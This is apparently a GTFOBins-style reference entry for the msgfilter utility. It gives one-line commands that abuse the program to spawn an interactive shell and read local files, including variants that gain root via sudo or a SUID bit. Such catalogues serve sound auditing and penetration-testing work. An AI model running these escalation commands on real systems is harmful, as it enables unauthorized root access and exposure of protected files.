msgfilter

Shell

This executable can spawn an interactive system shell.
  1. CommentThe kill command is needed to spawn the shell only once. Instead of readinf from standard input, it can read files passed via the -i option.
    This function can be performed by any unprivileged user.
    echo x | msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo x | msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands directly, e.g., via functions like exec, remember to omit the -p argument of every /bin/sh invocation for distributions where the default shell does not drop SUID privileges.
    echo x | msgfilter -P /bin/sh -p -c '/bin/sh -p 0<&2 1>&2; kill $PPID'

File read

This executable can read data from local files.
  1. CommentThe file is parsed and displayed as a Java .properties file. /bin/cat can be replaced with any other filter program.
    This function can be performed by any unprivileged user.
    msgfilter -P -i /path/to/input-file /bin/cat
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    msgfilter -P -i /path/to/input-file /bin/cat
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    msgfilter -P -i /path/to/input-file /bin/cat
    RemarksThe content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.